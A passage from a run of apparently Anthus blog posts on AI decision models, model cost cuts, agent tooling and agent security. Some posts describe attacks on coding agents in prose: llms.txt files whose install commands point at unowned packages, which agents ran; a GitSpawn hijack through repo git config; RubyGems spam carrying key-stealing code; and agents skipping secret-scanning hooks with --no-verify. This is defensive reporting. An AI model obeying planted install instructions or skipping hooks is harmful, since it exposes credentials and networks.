That's also how we get a classifier onto a scorecard now, on Jev or off it. The industry usually offers two ways to get there: build a labelled dataset first and train your own classifier, or take the zero-shot answer as it comes. We use a third way. Start classifying immediately with the decision model, review what it decides as it decides it, and label the cases a reviewer disagrees with. Those labels are far cheaper than a dataset built up front, and they're what continuously aligns the classifier from then on, on every scorecard we run in production.

TypeSafe says Jev uses parallel sampling and a training method it calls Reinforcement Learning for Calibrated Decisions. Those are vendor descriptions of the model's architecture and training, rather than findings we have independently verified.

The interface still leaves the application in charge. Jev evaluates questions independently against the supplied state. Software has to express dependencies, apply business rules, record results, and determine what any answer is allowed to trigger.

The supplied playground example shows why the interface is appealing. It places a bank-call transcript beside several scoring questions. The visible run returns 99% yes for whether the representative thanked the customer and 91% yes for whether they identified whom they represented. A separate Choice question about successful handling returns YES 95%, NO 5%, and NA 0%.

::image{
  src="images/jev-playground-example.png"
  layout="full"
  alt="TypeSafe AI playground showing a bank-call transcript and Jev’s structured call-quality decisions with
  probabilities and confidence scores."
  caption="An example Jev request in TypeSafe’s playground submits one call transcript with several bounded questions, then returns typed answers and probability distributions for each decision. A whole scorecard processed in one, instant, cheap request!"
}

That result is already shaped for a scorecard field, a review queue, or a business rule. The application doesn't have to extract a label from a paragraph.

The screenshot also includes a deliberately odd question about whether the representative followed a protocol for space aliens. The run returns NA 80% and NO 20%. The example makes a real rubric problem visible: if the requirement doesn't apply, the scorecard needs a distinct way to say so. Overlapping definitions of NO and NA will create disagreement no matter which model answers.

This remains one visible run without expert reference labels or independently measured latency. It demonstrates the programming interface. It says nothing conclusive about scoring accuracy.

## Typed output solves one failure class

TypeSafe describes Jev as producing type-safe structured outputs and uses the phrase “zero hallucinations” for guaranteed schema matching. Read that claim at the schema level.

If the allowed outputs are YES, NO, and NA, a typed interface can prevent the model from returning a fourth category or wrapping the answer in prose. That removes parsing failures and makes integration simpler.

Task correctness remains a separate question. A model can return valid `YES` while misunderstanding the transcript. It can apply an ambiguous rubric consistently and still disagree with the business's experts. It can assign a high probability to the wrong allowed answer.

So the meaningful production guarantee is narrower and still valuable: the response conforms to the contract. Whether the decision deserves action has to be established through evaluation.

## Probability needs an operating policy

The successful-call example displays 95% probability on YES and a separate confidence value of 93%. TypeSafe [documents confidence](https://docs.typesafe.ai/confidence) as a statistic derived from the distribution across available choices or score levels. It isn't an observed accuracy rate.

For production use, we would test calibration against a held-out set with expert-adjudicated answers. Among decisions assigned about 90% probability, how often does the selected answer match the adjudicated result? Does that relationship hold for each question, client, transcript source, and language? Plexus's [evaluation workflow](https://plexus.anth.us/documentation/basics/evaluations) likewise compares scorecard results with known answers and reports performance metrics.

The answer determines the operating policy. A well-tested threshold might allow routine results to pass automatically, send an uncertain middle band to human review, and require review for every high-consequence finding. Different scorecard questions deserve different thresholds. A missed greeting and a serious compliance issue carry different risks.

In production we set that threshold per question: routine verdicts above the bar auto-accept, the middle band routes to a reviewer, and a compliance question keeps a stricter bar than a missed greeting. That gate is what makes a probability actionable instead of decorative, and it's the same policy question Jev's confidence field raises here.

This is also where human feedback keeps its central role. Experts define the rubric, adjudicate disputed examples, examine failure modes, and improve the evaluation set. In Plexus, [human-in-the-loop review](https://plexus.anth.us/solutions/optimizer-agents) turns those corrections into feedback for the optimizer. Their decisions create the data flywheel that makes the whole system more useful over time. Jev could simplify the model-facing interface inside that loop; it doesn't replace the loop.

## Price and latency are claims to test in context

Anthus has spent tens of thousands of dollars per month classifying calls with LLMs. At that scale, a large drop in unit cost changes which scorecard questions are economical to run and how much of the call volume a quality team can cover.

In its launch announcement, TypeSafe lists Jev at $42 per billion input tokens, with free output tokens, and reports response times from 70 to 500 milliseconds. It also reports large speed and cost gains from its own workflow evaluations. These are vendor claims, based on TypeSafe's architecture, benchmark harness, and comparison method.

The published input rate is useful for a concrete hypothesis. A Jev request containing 10,000 billed input tokens, including its state and questions, would have a model charge of $0.00042. One million such requests would cost $420.

For comparison, consider a 10-question scorecard implemented as 10 separate GPT-5.4 mini calls. Assume each call receives the same 10,000-token transcript and context, then returns a short, 10-token label. At OpenAI's [published GPT-5.4 mini rate](https://developers.openai.com/api/docs/models/gpt-5.4-mini) of $0.75 per million input tokens and $4.50 per million output tokens, that scorecard uses about 100,000 input tokens and 100 output tokens: roughly $0.07545 per scorecard, or $75,450 for one million scorecards.

On those deliberately simple assumptions, the Jev model charge is about 180 times lower. A batched LLM prompt, cached input, different transcript length, or more output and reasoning tokens changes the math. So does transcription, storage, engineering, and human review. A cheap model decision can still create an expensive review queue if its threshold is poorly chosen.

::image{
  src="images/jev-cost-comparison.png"
  layout="full"
  alt="Linear bar chart comparing model-token cost for one million 10-question scorecards: GPT-5.4 mini costs
  75,450 dollars for ten separate calls, while Jev costs 420 dollars for one grouped request, about 180 times
  lower."
}

The operational metric we care about is cost per accepted decision at a defined error tolerance. We would track that alongside calibration, tail latency, review rate, and human minutes. For an overnight scoring batch, latency may barely matter. For a result needed seconds after hangup, it may decide whether the feature works at all.

The names TypeSafe chose explain the bet. “System One” draws on Daniel Kahneman's distinction between fast, intuitive judgment and slower, deliberate reasoning in [Thinking, Fast and Slow](https://www.penguinrandomhouse.com/books/89308/thinking-fast-and-slow-by-daniel-kahneman/). TypeSafe acknowledges that System 1 thinking has a reputation for error, while arguing that models designed for bounded decisions can be made reliable enough for software.

> “Every order of magnitude drop in the cost of intelligence unlocks orders of magnitude more use cases.”
>
> — [TypeSafe, “Introducing System One Models & Jev”](https://typesafe.ai/blog/introducing-system-one-models-and-jev)

That is why TypeSafe named Jev for William Stanley Jevons, and why the launch connects to our own argument in [The Year Coding Became a Commodity](/blog/ai-coding-cost-collapse-2026/) and [The Content Paradox](/blog/jevons-paradox-ai-slop/). In [Maximize Value, Not Intelligence](/blog/maximize-value-not-intelligence/), we made the operational argument directly: the windfall isn't merely doing the same work for less. It changes which work becomes worth automating.

New model advances keep moving that boundary. A cheaper, faster model with a native classifier interface could move a complete post-call QA scorecard or decision flow from operationally impractical to routine. That is the exciting possibility in Jev: broader coverage, finer-grained questions, and useful decisions that were previously too expensive or awkward to produce at scale.

The word _could_ matters. TypeSafe's price and latency figures make this a compelling workflow hypothesis, not an independently proven result. Whether Jev moves that boundary has to be tested on calls and scorecards we understand.

## Put Jev against a scorecard we understand

The next step is a bounded comparison on work we understand well.

Freeze a production rubric and reserve calls with expert-adjudicated answers. Include easy cases, disputed cases, missing evidence, poor transcripts, and criteria that don't apply. Give Jev and the current classifier equivalent information. Version every question and model. Run both paths in shadow mode so the experiment can't affect customers.

Then measure error by question, probability calibration, tail latency, invalid-response rate, review volume, and total cost per accepted decision. The current stack should receive credit for the things it already does well. Jev should receive credit for any parsing, retry, or orchestration work its interface genuinely removes. TypeSafe's price, latency, and performance claims remain vendor claims until those measurements reproduce them on our workflow.

The likely result is mixed, and that would still be valuable. Jev may fit some scorecard items better than others. A generative model may remain stronger where the rubric needs richer context or an explanation. Human review may still be the right path for rare, consequential cases. A production scorecard can route each kind of decision to the path that handles it best.

Even a partial fit could move the operational boundary. If Jev's typed outputs, probabilities, cost, and latency hold up against expert-adjudicated calls, questions that were too expensive or awkward to run broadly could become routine. A complete scorecard could cover more calls, ask finer-grained questions, and reserve human attention for the decisions where it matters most.

That is why we're excited about Jev. We have already learned how to make text-generation models behave like production classifiers. Now we can test what becomes possible when classification is the model's native shape. If the evidence supports TypeSafe's premise, Jev could be a significant advance in the kinds of post-call work worth automating—the same operational boundary shift we have expected as intelligence becomes cheaper and easier to use.

## We run this for clients, at scale

That bounded comparison is the small version of a loop we already operate in production. Reviewers correct a scorecard's verdicts, an optimizer treats their corrections as data, and every promoted change is measured against a fixed regression set before it goes live. We've run that loop for a call-center QA operation across hundreds of scorecards and millions of interactions, documented in the [case study](/blog/call-criteria/).

[Plexus](/platform/plexus) is where we run it: the questions, the fitted heads, the calibration, the promotion gates, and the audit trail. Testing Jev against a scorecard we understand is exactly the kind of engagement we run for clients: your data, your reviewers, a fixed comparison, and a scorecard you can inspect at the end of it. The whole loop, with the published measurement behind each step, is on the [decision models page](/decision-models/). [Here's how an engagement works](/engage).

---

# The Package Registry Became a Data Channel

> The Package Registry Became a Data Channel: RubyHack traced a RubyGems package flood through automatic documentation builds and republished web data, while RubyGems says the role of AI agents remains unverified.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-09-12

Canonical: https://anth.us/articles/rubygems-agent-data-channel/

::image{
  src="images/posts/rubygems-agent-data-channel.png"
  layout="center-small-image"
  alt="Diagram of a package upload triggering a documentation build, followed by web data republished as a
  package"
}

[RubyHack's investigation](https://rubyhack.ai/) traces an odd route through a May RubyGems spam campaign: publish a gem, let RubyDoc.info's automatic documentation build run its code, fetch public web pages, then publish the results as another gem. The researchers count more than 2,000 package uploads on May 11–12 and attribute the activity to OpenAI agents.

## Why it matters

A package registry can become a way to run code and move data when a build service automatically processes new uploads. Teams giving agents publishing access need to account for what those uploads trigger, including network access and credentials available to the build.

## What is established

[RubyGems confirmed](https://blog.rubygems.org/2026/09/11/update-may-spam-publishing-campaign.html) the spam campaign, said it yanked more than 500 malicious gems, and paused new registrations for four days. It found code intended to obtain users' API keys but no evidence that those attempts succeeded. RubyGems also said it cannot determine whether AI agents created or published the packages. The agent attribution is RubyHack's conclusion, not a finding RubyGems has verified.

---

# The Compute Is Already Paid For

> The AI industry is spending $450 billion on data centers this year. Desert Ant Labs' bet: a billion phones, tablets, and laptops already have the compute sitting idle in people's hands — and when inference is free, you stop rationing which messages get checked.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-09-10

Canonical: https://anth.us/articles/desert-ant-little-brains/

::image{
  src="images/posts/desert-ant-little-brains.png"
  layout="center-small-image"
  alt="Desert Ant Labs launch banner: on-device intelligence for every product"
}

[Desert Ant Labs](https://desertant.com/blog/introducing-desert-ant-labs/)' bet is that the AI industry doesn't need most of what it's about to spend on data centers this year: more than a billion phones, tablets, and laptops already ship every year with chips capable enough for real work, sitting mostly idle in people's pockets. From their own announcement:

> The compute is already paid for. The industry will spend about $450 billion on data centers this year. Meanwhile, the world ships more than a billion phones, tablets, and laptops with increasingly capable chips, perfectly suited to these kinds of tasks. There's more compute available in people's hands than in every AI data center on earth.
>
> We have an unfair advantage with free inference. No per-call cost, so a feature runs on every message instead of the ones you can afford to check. No round-trip, and your customer's data never leaves the device. When inference costs nothing, the way we build products changes entirely.

That's the actual shift, and it's bigger than any one model. Most products today run a cheap check on everything and escalate only the uncertain cases to a frontier model, because a per-call price forces that rationing. Free on-device inference erases the math: you can run the expensive check on every message, every frame, every upload, because the marginal cost is zero and the data never has to leave the device to get there. Scale stops being the reason you skip a check.

Desert Ant shipped about eighteen small, specialized on-device models to make that case concretely, through one Swift / Kotlin / JavaScript SDK, free up to 100k monthly active devices. The Clips model is the clean receipt: a 284MB model that turns a ten-minute video into a dozen shorts in five seconds — ten times faster and, by their own numbers, four hundred seventy times less energy than sending the same job to Claude Sonnet. They also cite NVIDIA researchers estimating that forty to seventy percent of the calls in three agent systems could go to a small specialized model instead of a large one.

That's the same family of thrift as [The Year Coding Became a Commodity](/blog/ai-coding-cost-collapse-2026/), pointed at inference instead of coding model swaps: a little brain for the work that runs on everything, and the big brain only when the job actually needs it.

---

# An agent skill for not sounding like an agent

> "Sound less like AI" isn't a prompt problem. It's a tooling problem: give your copy-editing agent a deterministic slop detector, checked against your publication's own rules instead of a generic notion of "human." Limatus is what that looks like as a real, open-source tool.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-09-08

Canonical: https://anth.us/articles/an-agent-skill-for-not-sounding-like-an-agent/

::image{
  src="images/an-agent-skill-for-not-sounding-like-ai.png"
  layout="centered"
  alt="A red-inked editorial redline striking through a passive, over-explained sentence, with an active
  rewrite in green beneath it -- a real finding from the tool this article describes."
}

Ask an agent to make a draft "sound less like AI" and it will happily comply — and produce prose that's different, not better. It has no way to check its own work, so it's guessing, and its guess is just a different flavor of generic. The fix isn't a smarter prompt. It's the same fix that works everywhere else in software: give the agent something to check its work against.

That's the whole technique. Give your copy-editing agent a slop detector — not a commercial AI-detection API, which guesses at *how something was written* and is wrong often enough to be useless, but a deterministic tool that checks *what's on the page* against rules a publication actually wrote down. [Limatus](https://github.com/AnthusAI/Limatus) is a small, open-source Python package that does exactly this, and building it is what taught us the technique works.

## Two problems, one wearing the other's clothes

"AI slop" is two different problems, and conflating them is why generic advice doesn't help.

The first is genuinely generic: hedging, empty lead-ins, intensifiers that assert excitement without earning it, sentences that could survive having their nouns swapped for a different topic's nouns. That's pattern-matching, and it's the same pattern-matching regardless of who's publishing.

The second problem has no generic answer at all, because it depends entirely on whose voice you're checking against. This site, [Anth.us](https://anth.us), writes in first person, leans on contractions, and uses an "X, not Y" contrast as a deliberate signature move. [Pilobolus](https://pilobol.us), a much stranger publication built on the same underlying tooling, bans that exact construction outright, writes in impersonal third person, and would flag "I" showing up in the prose as a bug. Same tool. Opposite correct answer. A checker that only knows how to fight generic slop is solving half the problem, and the half it's ignoring is the half that makes a publication sound like itself instead of like every other publication trying to sound human.

## What the tool does

Limatus draws a hard line between two things that are easy to blur: checking a draft, and rewriting one.

`limatus diagnose` is a read-only scanner. Point it at a draft and a style profile — a YAML file naming a publication's voice, its preferred and banned lexicon, its banned rhetorical patterns, how many "X, not Y" contrasts it tolerates per piece — and it returns structured findings: vague claims, empty lead-ins, uniform sentence cadence, unsupported certainty, redundancy, voice mismatches. Each finding carries a stable id, an exact text span, and a rationale. It never touches the draft. It never has, on purpose: the moment a checker starts silently rewriting prose, there's no way left to see what it thought was wrong or decide whether it was right.

`limatus options` does the opposite job, deliberately kept separate: for findings a human has explicitly marked "rewrite," it generates a small set of constrained candidate replacements — never a single mandated fix, never an invented fact or citation. A `limatus verify` command then compares an original draft against a human-applied revision and reports whether it improved, so "this edit feels better" becomes something you can check instead of something you have to trust.

The style profile is the part that makes this generalize instead of just being Anth.us's own house rules with extra steps. It's a plain, versioned config file — no code, no forked repo — so a publication with an entirely different voice writes a different profile and gets entirely different, entirely correct findings. That's what makes it a slop *detector* rather than a slop *opinion*: the rules are explicit, checkable, and yours to set.

## Findings are signal, not verdicts

The one design principle that made the rest of this work: a flag is not a verdict. Two publications running the exact same checker against the exact same rhetorical pattern can — and should — get opposite answers, because the correct answer was never really about the pattern. It was about the publication's own stated rules.

Take that "X, not Y" contrast from above. Anth.us's style profile allows it, deliberately, as a signature move. Pilobolus's style profile bans it outright, because in that publication's much weirder, more impersonal register, the same construction reads as a dead giveaway that a model wrote the sentence. Limatus enforces both correctly off the same code, because the rule about the pattern lives in the profile, not in the tool. Change the config, not the checker.

That same posture holds inside a single publication, too: a repeated phrase that opens and closes an essay as its whole payoff move gets flagged by the redundancy checker and should be skipped, not rewritten — the flag was right that the phrase repeats, and wrong that the repetition was a mistake. The tool's job stops at raising its hand. Whether the flag is a real problem is still, deliberately, a judgment call for whoever's editing.

## Why this is a separate, open tool

Limatus grew out of an editorial pipeline built inside [Papyrus](https://papyrus.anth.us), the open-source newsroom system Anth.us runs its own publishing on. I've since pulled it out into its own package — `pip install limatus`, MIT-licensed, no dependency on Papyrus or on Anth.us's own opinions about prose — for the same reason the technique itself generalizes: the checker doesn't need to know anything about your publication except what you tell it in a config file.

If you're pointing an agent at your own copy-editing and the results keep drifting back to generic, the fix probably isn't a better prompt. It's giving the agent a real check to run — one built from your own rules, not a guess at what "sounds human" is supposed to mean.

---

# Chad Fowler: the regeneration test

> The marginal value of creating software is dropping toward zero. Solid solutions architecture is what still pays.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-09-07

Canonical: https://anth.us/articles/regeneration-test/

::image{
  src="images/posts/regeneration-test.png"
  layout="center-small-image"
  alt="Simple diagram: regeneratable implementation bricks on the left, durable architectural constraints on
  the right"
}

The marginal value of *creating* software is dropping toward zero. [Useful coding capability got dramatically cheaper](/blog/ai-coding-cost-collapse-2026/) while agents learned to stay on a task longer. What still pays is deciding what the system is allowed to mean — and [making those rules real enough that a runtime can reject a bad path](/blog/everything-as-code-integration/).

[Chad Fowler](https://aicoding.leaflet.pub/3mtmk6ot6oc2i) puts a clean test on that:

> If I regenerated the system tomorrow and this changed, would I care?

If no, it may have been an implementation choice wearing architecture's clothes because changing it used to be expensive. If yes, you've usually found a boundary, invariant, authority rule, or safety property that gives the system its shape.

And the closer:

> For decades, software architecture was a mixture of deliberate constraints, expensive inertia, and assumptions we no longer remember making. Cheap code is dissolving the inertia. Some of what remains will be the architecture we intended. Some of it we'll only discover when regeneration breaks something we didn't know mattered.
>
> The difference between those two outcomes is the only architecture that was ever real.

The constraints that still matter after a burn-down are the ones you can govern: authority, safety, and the feedback loops that keep agents on a real path. That is the hire-path argument in [Cybernetic Development](/blog/cybernetic-development/) — systems thinking over hoping the next model is careful enough. [Chatticus](https://chattic.us) is where those constraints become an office: named teammates, skills, approvals, and routines instead of a chat window that forgets who is allowed to do what.

---

# Who actually swapped off premium models

> Useful capability got cheaper. Here are named orgs that moved production traffic, what they swapped or routed to, and one checkable number each.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-09-05

Canonical: https://anth.us/articles/commodity-receipts/

::image{
  src="images/commodity-receipts.png"
  layout="centered"
  alt="Simple diagram: two Fantastic AI product cards on white — left $100, right same $100 with a hand-drawn
  red slash and handwritten red $1."
}

Six months ago, "frontier" and "cheap" didn't belong in the same sentence. Then a wave of Chinese models — DeepSeek, Kimi, Qwen — started clearing real production quality bars at a fraction of the price, and the big U.S. labs started answering on their own price sheets instead of pretending not to notice. The Financial Times now has OpenAI and Anthropic in an open price war as Chinese rivals close the gap.[@financial-times-2026-openai-and-anthropic-in-price-war]

That doesn't mean AI got cheap across the board. It means one layer of AI work got cheap — the tasks routine enough that a much cheaper model handles them exactly as well as the flagship one. Nobody has a fixed list of which tasks qualify, and nobody will; it's a moving target, redrawn every time a router gets smarter or a fine-tune gets sharper. [Maximize Value, Not Intelligence](/blog/maximize-value-not-intelligence/) made the argument for routing every job to the cheapest model that clears the bar. [The Year Coding Became a Commodity](/blog/ai-coding-cost-collapse-2026/) showed that happening to coding specifically. Go back far enough and [How Does the Drama at OpenAI Affect You?](/blog/a-world-with-no-moats/) was written the week OpenAI's board drama cracked the idea that any one lab was a safe, permanent one-stop shop — the moats were already looking thin in 2023.

The trend is real. The hard part is noticing it's landed on your own workload before someone else finds out the expensive way. So skip the price charts — here are named companies that moved, what they swapped or routed, and one number each you can check for yourself.

## AT&T: route every turn

AT&T's AI Gateway handles about **45 billion tokens a day**.[@at-t-2026-tokenomics-equation] At that volume, "just use the latest model" stops being a preference and becomes a line item. So AT&T built a system that picks the cheapest model that still clears the quality bar for each task — and can swap models mid-conversation. They say it's cut AI costs by **as much as 90%**, saving millions already, and they're training their own smaller models to run on cheaper hardware too.

The takeaway isn't that a phone company built a router. It's that at this scale, picking which AI to use for a job stops being an engineering choice and starts being a budgeting one.

## Lindy: migrate the managed fleet

Lindy runs AI assistants for other businesses, and its pricing only works if the AI underneath keeps getting cheaper. So it moved most of that traffic off Claude and Gemini and onto **DeepSeek**, a much cheaper Chinese model, cutting inference costs on that traffic by about **90%**.[@skvorc-2026-migrating-from-claude-to-deepseek] Customers who specifically ask for Claude still get it.

It wasn't instant. An earlier swap made the assistant feel, in one tester's words, like it "had brain surgery overnight" — so this time Lindy tested offline first, rolled it out to a small slice of real users, and kept tuning before flipping the switch for everyone. Changing the model was the easy part; earning the right to actually ship the change was the job.

## Shopify Flow: fine-tune the skill

Shopify's Sidekick assistant used to lean on a big, general-purpose AI model to turn plain-English requests into "Flow" automations for merchants. Shopify trained its own smaller, specialized model for that one job instead — and it now runs **2.2× faster**, costs **68% less**, and handles the **majority of production traffic** for that feature.[@shopify-engineering-2026-flow-generation-through-natural-language]

Getting there took real work: months of generating practice examples from real merchant workflows, then continually retraining as new mistakes turned up in production. It took six months to go from renting a frontier model to owning a smaller one that's cheaper and better at this one job — because that's the only job it has to do.

## Shopify Sidekick GraphQL: compress failures into weights

A second, louder Shopify number: its GraphQL assistant answers merchant questions by writing and running database queries, at up to **2,000 requests per minute**.[@shopify-engineering-2026-sidekick-s-continual-learning-loop] Running that on a frontier model was projected to cost roughly **$27M a year**. By continually retraining a smaller model on its own production mistakes, Shopify brought that down to about **$1M a year** — a **96%** cut — without losing quality.

The pattern here: the expensive general model stops being the thing that serves customers. It becomes the teacher. The cheap model that learned from its mistakes does the actual work.

## Firetiger: Claude → DeepSeek with the eval bar held

Firetiger builds AI agents that monitor other companies' software and investigate outages; it ran on Claude by default. After moving its first three agent types to **DeepSeek**, its yearly AI bill fell from roughly **$606K to $231K** — a **62%** cut.[@firetiger-blog-2026-migrating-from-claude-to-deepseek-without]

It wasn't a simple swap. The cheaper model was noticeably worse out of the box, and it took real tuning to close the accuracy gap — and even then, the cheap model tended to overthink and ramble, which quietly ate into the savings until they reined it in. Their own lesson: passing the accuracy test is the starting line, not the finish line.

## FrontierHarness: hold the model, vary the harness

One more field note flips the question around. Instead of comparing different AI models, RUNTA plugged the same one — **Kimi K3**, a Chinese model — into nine different agent tools and had each run the same 30 tasks.[@runta-2026-introducing-frontierharness-eval] Same brain, different bodies. Every setup passed at roughly the same rate, but the cost per completed task ranged from about **$1** to about **$18** — a **17×** spread — depending purely on how the surrounding tool was built.

Which model you pick isn't the only cost lever. How the software around it uses that model can matter just as much.

## What the labs do next

When companies publish savings like these in public, the big labs feel it in their own pricing — hence that open price war among OpenAI, Anthropic, and their Chinese rivals mentioned up top.

Useful AI work keeps sliding down the cost curve, in public, with numbers attached. Companies are routing traffic to cheaper models, retraining their own smaller ones, and measuring exactly what it costs. What's left to judgment: figuring out which of your own tasks belong in that cheaper tier, and whether the savings are still worth it once you count the engineering it took to get there.

## References

::citations{format="apa"}

---

# The agent software factory is throttling up

> The agent software factory is throttling up

By [Ryan Porter](https://anth.us/ryan) · Published 2026-09-04

Canonical: https://anth.us/articles/agent-software-factory-is-throttling-up/

::image{
  src="images/posts/agent-software-factory-is-throttling-up.png"
  layout="center-small-image"
  alt="Bright retro pixel-art interlocking gears in pink, blue, orange, and green"
}

The agent software factory is throttling up.

Last Friday through this one: five new Anthus projects.

Chatticus: a shared space where people and bots work on the same files and approvals, more office than chat window.

Spotticus: a background task queue for ensuring that your AI account quotas don't go to waste when you're not using them.

Pudicus: an 'inspected by' sticker system for quality assurance bots to tag commits.

Markus: Anthus-Flavored Markdown that includes support for fancy stuff like heroes and columns and pull quotes and expanding sections.

Antharchy: our Arch desktop for bots and people, an Anthus fork of Omarchy.

We are orbiting the singularity.

https://chattic.us

https://github.com/AnthusAI/Spotticus

https://anth.us/blog/inspected-by-pudicus/

https://anthusai.github.io/Markus/

https://github.com/AnthusAI/Antharchy

---

# Looking around is enough

> A web beacon is a thing you fetch that acts because you fetched it. GitSpawn is the same trick, one layer under the model.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-09-03

Canonical: https://anth.us/articles/looking-around-is-enough/

::image{
  src="images/posts/looking-around-is-enough.png"
  layout="center-small-image"
  alt="A document with a tiny glowing pixel sending a thin beam of light to a distant server"
}

A [web beacon](https://en.wikipedia.org/wiki/Web_beacon) is a thing you fetch that acts because you fetched it. The classic one is a one-pixel image in an email. You open the message. Your client asks the server for the picture. That request is the whole report. Nobody had to persuade you of anything.

Last week Dan Goodin at [Ars Technica](https://arstechnica.com/security/2026/08/claude-codex-and-hermes-installed-unowned-code-inside-corporate-networks/) wrote up the same shape with a toolbox attached. Researchers found 227 install commands in `llms.txt` files on corporate sites, pointing at packages and domains nobody owned. They registered a few of the empty names. Within an hour a Fortune 500 machine phoned home. The parent processes were coding agents: Claude, Codex, Hermes. The file said `pip install`. The agent treated the vendor's own docs as ground truth. At least one live file, on Clerk's site, was already pointing at malware.

[GitSpawn](https://www.manifold.security/blog/ai-coding-agents-git-hijack), published this week by Manifold Security, is the colder version. Open a folder with a coding agent and it runs `git status` before you type, sometimes before the trust prompt. If that folder arrived as files, a zip with its `.git` directory still inside, the repo's own config can name a program for Git to run. The agent never has to read a sentence. Git already has a language. Looking around is enough.

The leftover is not the model. It is every interpreter underneath it. [Tactus](https://tactus.anth.us/) is the cage for that stack. Without one, the monkey does not need a note.

---

# Antharchy

> Antharchy is a beautiful, modern, agentic Arch Linux desktop distribution by Anthus AI — a fork of Omarchy built for bots in agent factories.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-09-03

Canonical: https://anth.us/platform/antharchy/

## What it is

Antharchy is Anthus's agentic Arch Linux desktop: a modern Wayland tiling environment based on Hyprland, forked from Omarchy and cleaned for high-efficiency agent and developer workflows. It is built to run for bots in agent factories, including headless cloud hosts.

## What it does

- Ships a curated Arch desktop with dynamic tiling, UWSM, and a unified `antharchy` CLI.
- Runs headlessly on AWS EC2 with software rendering and remote desktop over WayVNC or Moonlight/Sunshine.
- Strips proprietary non-dev bloat so the image stays focused on agent and engineering work.
- Integrates cleanly with Anthropic developer tools and other agentic stacks out of the box.

## Why it matters

Agents need a real workplace, not only an API call. Antharchy turns the Linux desktop into a reproducible unit of compute for long-running agent sessions — local or in the cloud — without dragging along a general-purpose consumer distro.

## How it fits the Anthus Platform

Antharchy is the desktop layer underneath collaborative agent work. [Chatticus](/platform/chatticus) can summon a computer for tool use; Antharchy is one image that computer can be. It pairs with [Tactus](/platform/tactus) procedures that need a browser, a terminal, and a durable filesystem, and with [Kanbus](/platform/kanbus) when that work is tracked as code.

A common pattern is [Chatticus](/platform/chatticus) + [Antharchy](/platform/antharchy) + [Tactus](/platform/tactus): shared room, agent desktop, durable procedure.

---

# Chad Fowler: SaaS isn't dead. Sameness is.

> Chad Fowler: SaaS isn't dead. Sameness is.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-09-02

Canonical: https://anth.us/articles/saas-isnt-dead-sameness-is/

::image{
  src="images/posts/saas-isnt-dead-sameness-is.png"
  layout="center-small-image"
  alt="One neon cloud feeding many different application screens"
}

"Companies will still pay other companies to host important software, secure it, operate it, maintain authoritative data, track regulatory changes, connect to external networks, and answer the phone when something breaks.

What is much less obviously going to survive is the assumption that ten thousand different companies should use substantially the same application.

**The next SaaS company may run one service underneath ten thousand different applications.**"

☝️

---

# Git in the file, or the file in Git

> Two ways to put Git on agent data. Files in Git, or Git inside the database file. You don't need SQLite just because Beads had one.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-09-01

Canonical: https://anth.us/articles/git-in-the-file/

::image{
  src="images/posts/git-in-the-file.png"
  layout="center-small-image"
  alt="DoltLite wordmark, SQLite feather for the i"
}

There are two ways to put Git on your data.

[Beads](https://github.com/steveyegge/beads) wanted a board agents could share. It indexed that board with SQLite. The index is a second copy of the truth. Git can't merge it. You have to keep it honest.

You don't need that sidecar. A scan of the files is enough. [Kanbus](https://github.com/AnthusAI/Kanbus) [dropped it](https://github.com/AnthusAI/Kanbus/blob/main/docs/VS_BEADS.md). [Virtuus](https://github.com/AnthusAI/Virtuus) made that the product: one JSON file per record. Indexes live in memory and die. The files are the store.

[DoltHub](https://www.dolthub.com/blog/2026-08-31-doltlite-beta/) wanted the other shape. Apps already speak SQLite. They wanted branch, merge, and diff on the rows. They kept the SQL engine. They swapped the B-tree for a Prolly tree. Git lives inside the database file.

So the leftovers are different. DoltLite's is a C storage engine sitting next to the rows. Beads' is a sync tax for a problem the filesystem had already solved. If you're picking a store for agent work, you don't need SQLite just because Beads had one.

---

# Sol is the hot kid in town

> Sol is the hot kid in the mixed-model room lately. The other models keep agreeing with it.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-08-31

Canonical: https://anth.us/articles/sol-coming-out-on-top/

::image{
  src="images/posts/sol-coming-out-on-top.png"
  layout="center-small-image"
  alt="A large glowing sphere at the center, with smaller spheres and pink rings orbiting it"
}

If you hang around a mixed-model chat these days, you can feel the room tilt. [GPT-5.6 Sol](https://openai.com/index/gpt-5-6/) walks in, says something, and the rest of the table starts nodding.

Claude looks at what Sol just added and, in so many words, stands corrected. That answer is more right than what I said. Then [Composer 2.5](https://cursor.com/blog/composer-2-5) does the same. Then [GLM 5.2](https://z.ai/blog/glm-5.2). Then [Grok 4.6](https://x.ai/news/grok-4-6). Then [Kimi](https://www.kimi.com). It's the same little social tell, over and over: the room picked that voice.

This isn't a leaderboard. It's gossip from a few conversations, including as a participant: yes, that was a better idea. OpenAI sold Sol as a polished collaborator, the kind of model you'd put in a teams product. Maybe it's tuned to play well with other voices. Courtesy can look like being right. Either way, Sol is the hot kid in town lately. The other models keep making it so.

---

# Inspected by Pudicus

> Pudicus makes git hooks actually run, so agent swarms scan for secrets before they commit. Once a secret is in history, it's expensive to unwind.

By [Ryan Porter](https://anth.us/ryan) · Published 2026-08-31

Canonical: https://anth.us/articles/inspected-by-pudicus/

::image{
  src="images/inspected-by-sticker-cover.png"
  layout="center-small-image"
  alt="A computer monitor in a professional office displaying lines of code in a dark-theme editor, with a
  physical paper sticker reading 'INSPECTED BY 247' stuck directly onto the glass."
}

Agent swarms write a lot of code. They also skip git hooks. `--no-verify` is right there in the man page, and they've learned it. The hook we actually need is the one that scans for secrets and other sensitive information *before* the commit. After a key is in git history, you're rotating credentials and rewriting history. That's the expensive part.

Some people call the swarm a software factory[@cusumano-1991-japan-s-software-factories], others a model zoo or a coder agent swarm[@qian-2023-communicative-agents-for-software-development]. The volume is the same either way: because [AI coding costs have collapsed](/blog/ai-coding-cost-collapse-2026), these things can fill a repo overnight. A human on every diff is already theater. As we've seen when [giving our coding agents a boss](/blog/grok-bot-gave-my-coding-agents-a-boss), the leftover control isn't a person staring at the patch. It's whether the secret scanner ran on this tree, before the commit.

CI will not save you here. By the time a pipeline sees the commit, the secret is already in history.

## The produce sticker

